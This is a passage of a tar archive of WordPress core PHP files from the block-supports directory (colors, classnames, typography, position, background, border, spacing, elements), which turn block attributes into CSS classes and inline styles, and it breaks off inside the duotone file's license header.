array( 'type' => 'string', ); } if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) { $block_type->attributes['gradient'] = array( 'type' => 'string', ); } } /** * Add CSS classes and inline styles for colors to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * * @return array Colors CSS classes and inline styles. */ function wp_apply_colors_support( $block_type, $block_attributes ) { $color_support = _wp_array_get( $block_type->supports, array( 'color' ), false ); $has_text_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'text' ), true ) ); $has_background_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'background' ), true ) ); $has_link_colors_support = _wp_array_get( $color_support, array( 'link' ), false ); $has_gradients_support = _wp_array_get( $color_support, array( 'gradients' ), false ); $classes = array(); $styles = array(); // Text Colors. // Check support for text colors. if ( $has_text_colors_support ) { $has_named_text_color = array_key_exists( 'textColor', $block_attributes ); $has_custom_text_color = isset( $block_attributes['style']['color']['text'] ); // Apply required generic class. if ( $has_custom_text_color || $has_named_text_color ) { $classes[] = 'has-text-color'; } // Apply color class or inline style. if ( $has_named_text_color ) { $classes[] = sprintf( 'has-%s-color', $block_attributes['textColor'] ); } elseif ( $has_custom_text_color ) { $styles[] = sprintf( 'color: %s;', $block_attributes['style']['color']['text'] ); } } // Link Colors. if ( $has_link_colors_support ) { $has_link_color = isset( $block_attributes['style']['color']['link'] ); // Apply required class and style. if ( $has_link_color ) { $classes[] = 'has-link-color'; // If link is a named color. if ( strpos( $block_attributes['style']['color']['link'], 'var:preset|color|' ) !== false ) { // Get the name from the string and add proper styles. $index_to_splice = strrpos( $block_attributes['style']['color']['link'], '|' ) + 1; $link_color_name = substr( $block_attributes['style']['color']['link'], $index_to_splice ); $styles[] = sprintf( '--wp--style--color--link: var(--wp--preset--color--%s);', $link_color_name ); } else { $styles[] = sprintf( '--wp--style--color--link: %s;', $block_attributes['style']['color']['link'] ); } } } // Background Colors. if ( $has_background_colors_support ) { $has_named_background_color = array_key_exists( 'backgroundColor', $block_attributes ); $has_custom_background_color = isset( $block_attributes['style']['color']['background'] ); // Apply required background class. if ( $has_custom_background_color || $has_named_background_color ) { $classes[] = 'has-background'; } // Apply background color classes or styles. if ( $has_named_background_color ) { $classes[] = sprintf( 'has-%s-background-color', $block_attributes['backgroundColor'] ); } elseif ( $has_custom_background_color ) { $styles[] = sprintf( 'background-color: %s;', $block_attributes['style']['color']['background'] ); } } // Gradients. if ( $has_gradients_support ) { $has_named_gradient = array_key_exists( 'gradient', $block_attributes ); $has_custom_gradient = isset( $block_attributes['style']['color']['gradient'] ); if ( $has_named_gradient || $has_custom_gradient ) { $classes[] = 'has-background'; } // Apply required background class. if ( $has_named_gradient ) { $classes[] = sprintf( 'has-%s-gradient-background', $block_attributes['gradient'] ); } elseif ( $has_custom_gradient ) { $styles[] = sprintf( 'background: %s;', $block_attributes['style']['color']['gradient'] ); } } $attributes = array(); if ( ! empty( $classes ) ) { $attributes['class'] = implode( ' ', $classes ); } if ( ! empty( $styles ) ) { $attributes['style'] = implode( ' ', $styles ); } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'colors', array( 'register_attribute' => 'wp_register_colors_support', 'apply' => 'wp_apply_colors_support', ) ); ���������������������������������������������������������������������������������������������������������������������������������������������block-supports/custom-classname.php�����������������������������������������������������������������0000644�����������������00000003467�15120262027�0013531 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Custom classname block support flag. * * @package WordPress */ /** * Registers the custom classname block attribute for block types that support it. * * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_custom_classname_support( $block_type ) { $has_custom_classname_support = true; if ( property_exists( $block_type, 'supports' ) ) { $has_custom_classname_support = _wp_array_get( $block_type->supports, array( 'customClassName' ), true ); } if ( $has_custom_classname_support ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'className', $block_type->attributes ) ) { $block_type->attributes['className'] = array( 'type' => 'string', ); } } } /** * Add the custom classnames to the output. * * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * * @return array Block CSS classes and inline styles. */ function wp_apply_custom_classname_support( $block_type, $block_attributes ) { $has_custom_classname_support = true; $attributes = array(); if ( property_exists( $block_type, 'supports' ) ) { $has_custom_classname_support = _wp_array_get( $block_type->supports, array( 'customClassName' ), true ); } if ( $has_custom_classname_support ) { $has_custom_classnames = array_key_exists( 'className', $block_attributes ); if ( $has_custom_classnames ) { $attributes['class'] = $block_attributes['className']; } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'custom-classname', array( 'register_attribute' => 'wp_register_custom_classname_support', 'apply' => 'wp_apply_custom_classname_support', ) ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/generated-classname.php��������������������������������������������������������������0000644�����������������00000003624�15120262027�0014150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Generated classname block support flag. * * @package WordPress */ /** * Get the generated classname from a given block name. * * @since 5.6.0 * * @access private * * @param string $block_name Block Name. * @return string Generated classname. */ function wp_get_block_default_classname( $block_name ) { // Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature. // Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/'). $classname = 'wp-block-' . preg_replace( '/^core-/', '', str_replace( '/', '-', $block_name ) ); /** * Filters the default block className for server rendered blocks. * * @since 5.6.0 * * @param string $class_name The current applied classname. * @param string $block_name The block name. */ $classname = apply_filters( 'block_default_classname', $classname, $block_name ); return $classname; } /** * Add the generated classnames to the output. * * @since 5.6.0 * * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * * @return array Block CSS classes and inline styles. */ function wp_apply_generated_classname_support( $block_type, $block_attributes ) { $has_generated_classname_support = true; $attributes = array(); if ( property_exists( $block_type, 'supports' ) ) { $has_generated_classname_support = _wp_array_get( $block_type->supports, array( 'className' ), true ); } if ( $has_generated_classname_support ) { $block_classname = wp_get_block_default_classname( $block_type->name ); if ( $block_classname ) { $attributes['class'] = $block_classname; } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'generated-classname', array( 'apply' => 'wp_apply_generated_classname_support', ) ); ������������������������������������������������������������������������������������������������������������block-supports/typography.php�����������������������������������������������������������������������0000644�����������������00000006307�15120262027�0012455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Typography block support flag. * * @package WordPress */ /** * Registers the style and typography block attributes for block types that support it. * * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_typography_support( $block_type ) { $has_font_size_support = false; if ( property_exists( $block_type, 'supports' ) ) { $has_font_size_support = _wp_array_get( $block_type->supports, array( '__experimentalFontSize' ), false ); } $has_line_height_support = false; if ( property_exists( $block_type, 'supports' ) ) { $has_line_height_support = _wp_array_get( $block_type->supports, array( '__experimentalLineHeight' ), false ); } if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ( $has_font_size_support || $has_line_height_support ) && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) { $block_type->attributes['fontSize'] = array( 'type' => 'string', ); } } /** * Add CSS classes and inline styles for font sizes to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * * @return array Font size CSS classes and inline styles. */ function wp_apply_typography_support( $block_type, $block_attributes ) { $has_font_size_support = false; $classes = array(); $styles = array(); if ( property_exists( $block_type, 'supports' ) ) { $has_font_size_support = _wp_array_get( $block_type->supports, array( 'fontSize' ), false ); } $has_line_height_support = false; if ( property_exists( $block_type, 'supports' ) ) { $has_line_height_support = _wp_array_get( $block_type->supports, array( 'lineHeight' ), false ); } // Font Size. if ( $has_font_size_support ) { $has_named_font_size = array_key_exists( 'fontSize', $block_attributes ); $has_custom_font_size = isset( $block_attributes['style']['typography']['fontSize'] ); // Apply required class or style. if ( $has_named_font_size ) { $classes[] = sprintf( 'has-%s-font-size', $block_attributes['fontSize'] ); } elseif ( $has_custom_font_size ) { $styles[] = sprintf( 'font-size: %spx;', $block_attributes['style']['typography']['fontSize'] ); } } // Line Height. if ( $has_line_height_support ) { $has_line_height = isset( $block_attributes['style']['typography']['lineHeight'] ); // Add the style (no classes for line-height). if ( $has_line_height ) { $styles[] = sprintf( 'line-height: %s;', $block_attributes['style']['typography']['lineHeight'] ); } } $attributes = array(); if ( ! empty( $classes ) ) { $attributes['class'] = implode( ' ', $classes ); } if ( ! empty( $styles ) ) { $attributes['style'] = implode( ' ', $styles ); } return $attributes; } WP_Block_Supports::get_instance()->register( 'typography', array( 'register_attribute' => 'wp_register_typography_support', 'apply' => 'wp_apply_typography_support', ) ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/position.php�������������������������������������������������������������������������0000644�����������������00000010361�15120262027�0012106 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Position block support flag. * * @package WordPress * @since 6.2.0 */ /** * Registers the style block attribute for block types that support it. * * @since 6.2.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_position_support( $block_type ) { $has_position_support = block_has_support( $block_type, 'position', false ); // Set up attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Renders position styles to the block wrapper. * * @since 6.2.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_position_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $has_position_support = block_has_support( $block_type, 'position', false ); if ( ! $has_position_support || empty( $block['attrs']['style']['position'] ) ) { return $block_content; } $global_settings = wp_get_global_settings(); $theme_has_sticky_support = isset( $global_settings['position']['sticky'] ) ? $global_settings['position']['sticky'] : false; $theme_has_fixed_support = isset( $global_settings['position']['fixed'] ) ? $global_settings['position']['fixed'] : false; // Only allow output for position types that the theme supports. $allowed_position_types = array(); if ( true === $theme_has_sticky_support ) { $allowed_position_types[] = 'sticky'; } if ( true === $theme_has_fixed_support ) { $allowed_position_types[] = 'fixed'; } $style_attribute = isset( $block['attrs']['style'] ) ? $block['attrs']['style'] : null; $class_name = wp_unique_id( 'wp-container-' ); $selector = ".$class_name"; $position_styles = array(); $position_type = isset( $style_attribute['position']['type'] ) ? $style_attribute['position']['type'] : ''; $wrapper_classes = array(); if ( in_array( $position_type, $allowed_position_types, true ) ) { $wrapper_classes[] = $class_name; $wrapper_classes[] = 'is-position-' . $position_type; $sides = array( 'top', 'right', 'bottom', 'left' ); foreach ( $sides as $side ) { $side_value = isset( $style_attribute['position'][ $side ] ) ? $style_attribute['position'][ $side ] : null; if ( null !== $side_value ) { /* * For fixed or sticky top positions, * ensure the value includes an offset for the logged in admin bar. */ if ( 'top' === $side && ( 'fixed' === $position_type || 'sticky' === $position_type ) ) { // Ensure 0 values can be used in `calc()` calculations. if ( '0' === $side_value || 0 === $side_value ) { $side_value = '0px'; } // Ensure current side value also factors in the height of the logged in admin bar. $side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))"; } $position_styles[] = array( 'selector' => $selector, 'declarations' => array( $side => $side_value, ), ); } } $position_styles[] = array( 'selector' => $selector, 'declarations' => array( 'position' => $position_type, 'z-index' => '10', ), ); } if ( ! empty( $position_styles ) ) { /* * Add to the style engine store to enqueue and render position styles. */ wp_style_engine_get_stylesheet_from_css_rules( $position_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); // Inject class name to block container markup. $content = new WP_HTML_Tag_Processor( $block_content ); $content->next_tag(); foreach ( $wrapper_classes as $class ) { $content->add_class( $class ); } return (string) $content; } return $block_content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'position', array( 'register_attribute' => 'wp_register_position_support', ) ); add_filter( 'render_block', 'wp_render_position_support', 10, 2 ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/background.php�����������������������������������������������������������������������0000644�����������������00000007045�15120262027�0012366 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Background block support flag. * * @package WordPress * @since 6.4.0 */ /** * Registers the style block attribute for block types that support it. * * @since 6.4.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_background_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_background_support = block_has_support( $block_type, array( 'background' ), false ); if ( $has_background_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Renders the background styles to the block wrapper. * This block support uses the `render_block` hook to ensure that * it is also applied to non-server-rendered blocks. * * @since 6.4.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_background_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_attributes = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array(); $has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false ); if ( ! $has_background_image_support || wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) ) { return $block_content; } $background_image_source = isset( $block_attributes['style']['background']['backgroundImage']['source'] ) ? $block_attributes['style']['background']['backgroundImage']['source'] : null; $background_image_url = isset( $block_attributes['style']['background']['backgroundImage']['url'] ) ? $block_attributes['style']['background']['backgroundImage']['url'] : null; $background_size = isset( $block_attributes['style']['background']['backgroundSize'] ) ? $block_attributes['style']['background']['backgroundSize'] : 'cover'; $background_block_styles = array(); if ( 'file' === $background_image_source && $background_image_url ) { // Set file based background URL. $background_block_styles['backgroundImage']['url'] = $background_image_url; // Only output the background size when an image url is set. $background_block_styles['backgroundSize'] = $background_size; } $styles = wp_style_engine_get_styles( array( 'background' => $background_block_styles ) ); if ( ! empty( $styles['css'] ) ) { // Inject background styles to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $existing_style = $tags->get_attribute( 'style' ); $updated_style = ''; if ( ! empty( $existing_style ) ) { $updated_style = $existing_style; if ( ! str_ends_with( $existing_style, ';' ) ) { $updated_style .= ';'; } } $updated_style .= $styles['css']; $tags->set_attribute( 'style', $updated_style ); } return $tags->get_updated_html(); } return $block_content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'background', array( 'register_attribute' => 'wp_register_background_support', ) ); add_filter( 'render_block', 'wp_render_background_support', 10, 2 ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/border.php���������������������������������������������������������������������������0000644�����������������00000014426�15120262027�0011525 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Border block support flag. * * @package WordPress * @since 5.8.0 */ /** * Registers the style attribute used by the border feature if needed for block * types that support borders. * * @since 5.8.0 * @since 6.1.0 Improved conditional blocks optimization. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_border_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) { $block_type->attributes['borderColor'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for border styles to the incoming * attributes array. This will be applied to the block markup in the front-end. * * @since 5.8.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Border CSS classes and inline styles. */ function wp_apply_border_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) { return array(); } $border_block_styles = array(); $has_border_color_support = wp_has_border_feature_support( $block_type, 'color' ); $has_border_width_support = wp_has_border_feature_support( $block_type, 'width' ); // Border radius. if ( wp_has_border_feature_support( $block_type, 'radius' ) && isset( $block_attributes['style']['border']['radius'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' ) ) { $border_radius = $block_attributes['style']['border']['radius']; if ( is_numeric( $border_radius ) ) { $border_radius .= 'px'; } $border_block_styles['radius'] = $border_radius; } // Border style. if ( wp_has_border_feature_support( $block_type, 'style' ) && isset( $block_attributes['style']['border']['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ) { $border_block_styles['style'] = $block_attributes['style']['border']['style']; } // Border width. if ( $has_border_width_support && isset( $block_attributes['style']['border']['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ) { $border_width = $block_attributes['style']['border']['width']; // This check handles original unitless implementation. if ( is_numeric( $border_width ) ) { $border_width .= 'px'; } $border_block_styles['width'] = $border_width; } // Border color. if ( $has_border_color_support && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ) { $preset_border_color = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null; $custom_border_color = isset( $block_attributes['style']['border']['color'] ) ? $block_attributes['style']['border']['color'] : null; $border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color; } // Generates styles for individual border sides. if ( $has_border_color_support || $has_border_width_support ) { foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) { $border = isset( $block_attributes['style']['border'][ $side ] ) ? $block_attributes['style']['border'][ $side ] : null; $border_side_values = array( 'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null, 'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null, 'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null, ); $border_block_styles[ $side ] = $border_side_values; } } // Collect classes and styles. $attributes = array(); $styles = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) ); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Checks whether the current block type supports the border feature requested. * * If the `__experimentalBorder` support flag is a boolean `true` all border * support features are available. Otherwise, the specific feature's support * flag nested under `experimentalBorder` must be enabled for the feature * to be opted into. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block type to check for support. * @param string $feature Name of the feature to check support for. * @param mixed $default_value Fallback value for feature support, defaults to false. * @return bool Whether the feature is supported. */ function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) { // Check if all border support features have been opted into via `"__experimentalBorder": true`. if ( $block_type instanceof WP_Block_Type ) { $block_type_supports_border = isset( $block_type->supports['__experimentalBorder'] ) ? $block_type->supports['__experimentalBorder'] : $default_value; if ( true === $block_type_supports_border ) { return true; } } // Check if the specific feature has been opted into individually // via nested flag under `__experimentalBorder`. return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'border', array( 'register_attribute' => 'wp_register_border_support', 'apply' => 'wp_apply_border_support', ) ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/spacing.php��������������������������������������������������������������������������0000644�����������������00000005474�15120262027�0011677 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Spacing block support flag. * * For backwards compatibility, this remains separate to the dimensions.php * block support despite both belonging under a single panel in the editor. * * @package WordPress * @since 5.8.0 */ /** * Registers the style block attribute for block types that support it. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_spacing_support( $block_type ) { $has_spacing_support = block_has_support( $block_type, 'spacing', false ); // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Adds CSS classes for block spacing to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.8.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block spacing CSS classes and inline styles. */ function wp_apply_spacing_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) { return array(); } $attributes = array(); $has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false ); $has_margin_support = block_has_support( $block_type, array( 'spacing', 'margin' ), false ); $block_styles = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null; if ( ! $block_styles ) { return $attributes; } $skip_padding = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' ); $skip_margin = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' ); $spacing_block_styles = array( 'padding' => null, 'margin' => null, ); if ( $has_padding_support && ! $skip_padding ) { $spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null; } if ( $has_margin_support && ! $skip_margin ) { $spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null; } $styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'spacing', array( 'register_attribute' => 'wp_register_spacing_support', 'apply' => 'wp_apply_spacing_support', ) ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/elements.php�������������������������������������������������������������������������0000644�����������������00000016510�15120262027�0012060 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Elements styles block support. * * @package WordPress * @since 5.8.0 */ /** * Gets the elements class names. * * @since 6.0.0 * @access private * * @param array $block Block object. * @return string The unique class name. */ function wp_get_elements_class_name( $block ) { return 'wp-elements-' . md5( serialize( $block ) ); } /** * Updates the block content with elements class names. * * @since 5.8.0 * @since 6.4.0 Added support for button and heading element styling. * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_elements_support( $block_content, $block ) { if ( ! $block_content || ! isset( $block['attrs']['style']['elements'] ) ) { return $block_content; } $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! $block_type ) { return $block_content; } $element_color_properties = array( 'button' => array( 'skip' => wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' ), 'paths' => array( array( 'button', 'color', 'text' ), array( 'button', 'color', 'background' ), array( 'button', 'color', 'gradient' ), ), ), 'link' => array( 'skip' => wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' ), 'paths' => array( array( 'link', 'color', 'text' ), array( 'link', ':hover', 'color', 'text' ), ), ), 'heading' => array( 'skip' => wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' ), 'paths' => array( array( 'heading', 'color', 'text' ), array( 'heading', 'color', 'background' ), array( 'heading', 'color', 'gradient' ), array( 'h1', 'color', 'text' ), array( 'h1', 'color', 'background' ), array( 'h1', 'color', 'gradient' ), array( 'h2', 'color', 'text' ), array( 'h2', 'color', 'background' ), array( 'h2', 'color', 'gradient' ), array( 'h3', 'color', 'text' ), array( 'h3', 'color', 'background' ), array( 'h3', 'color', 'gradient' ), array( 'h4', 'color', 'text' ), array( 'h4', 'color', 'background' ), array( 'h4', 'color', 'gradient' ), array( 'h5', 'color', 'text' ), array( 'h5', 'color', 'background' ), array( 'h5', 'color', 'gradient' ), array( 'h6', 'color', 'text' ), array( 'h6', 'color', 'background' ), array( 'h6', 'color', 'gradient' ), ), ), ); $skip_all_element_color_serialization = $element_color_properties['button']['skip'] && $element_color_properties['link']['skip'] && $element_color_properties['heading']['skip']; if ( $skip_all_element_color_serialization ) { return $block_content; } $elements_style_attributes = $block['attrs']['style']['elements']; foreach ( $element_color_properties as $element_config ) { if ( $element_config['skip'] ) { continue; } foreach ( $element_config['paths'] as $path ) { if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) { /* * It only takes a single custom attribute to require that the custom * class name be added to the block, so once one is found there's no * need to continue looking for others. * * As is done with the layout hook, this code assumes that the block * contains a single wrapper and that it's the first element in the * rendered output. That first element, if it exists, gets the class. */ $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( wp_get_elements_class_name( $block ) ); } return $tags->get_updated_html(); } } } // If no custom attributes were found then there's nothing to modify. return $block_content; } /** * Renders the elements stylesheet. * * In the case of nested blocks we want the parent element styles to be rendered before their descendants. * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant: * we want the descendant style to take priority, and this is done by loading it after, in DOM order. * * @since 6.0.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param string|null $pre_render The pre-rendered content. Default null. * @param array $block The block being rendered. * @return null */ function wp_render_elements_support_styles( $pre_render, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $element_block_styles = isset( $block['attrs']['style']['elements'] ) ? $block['attrs']['style']['elements'] : null; if ( ! $element_block_styles ) { return null; } $skip_link_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' ); $skip_heading_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' ); $skip_button_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' ); $skips_all_element_color_serialization = $skip_link_color_serialization && $skip_heading_color_serialization && $skip_button_color_serialization; if ( $skips_all_element_color_serialization ) { return null; } $class_name = wp_get_elements_class_name( $block ); $element_types = array( 'button' => array( 'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link", 'skip' => $skip_button_color_serialization, ), 'link' => array( 'selector' => ".$class_name a", 'hover_selector' => ".$class_name a:hover", 'skip' => $skip_link_color_serialization, ), 'heading' => array( 'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6", 'skip' => $skip_heading_color_serialization, 'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ), ), ); foreach ( $element_types as $element_type => $element_config ) { if ( $element_config['skip'] ) { continue; } $element_style_object = isset( $element_block_styles[ $element_type ] ) ? $element_block_styles[ $element_type ] : null; // Process primary element type styles. if ( $element_style_object ) { wp_style_engine_get_styles( $element_style_object, array( 'selector' => $element_config['selector'], 'context' => 'block-supports', ) ); if ( isset( $element_style_object[':hover'] ) ) { wp_style_engine_get_styles( $element_style_object[':hover'], array( 'selector' => $element_config['hover_selector'], 'context' => 'block-supports', ) ); } } // Process related elements e.g. h1-h6 for headings. if ( isset( $element_config['elements'] ) ) { foreach ( $element_config['elements'] as $element ) { $element_style_object = isset( $element_block_styles[ $element ] ) ? $element_block_styles[ $element ] : null; if ( $element_style_object ) { wp_style_engine_get_styles( $element_style_object, array( 'selector' => ".$class_name $element", 'context' => 'block-supports', ) ); } } } } return null; } add_filter( 'render_block', 'wp_render_elements_support', 10, 2 ); add_filter( 'pre_render_block', 'wp_render_elements_support_styles', 10, 2 ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/duotone.php��������������������������������������������������������������������������0000644�����������������00000005103�15120262027�0011715 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Duotone block support flag. * * Parts of this source were derived and modified from TinyColor, * released under the MIT license. * * https://github.com/bgrins/TinyColor * * Copyright (c), Brian Grinstead, http://briangrinstead.com * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 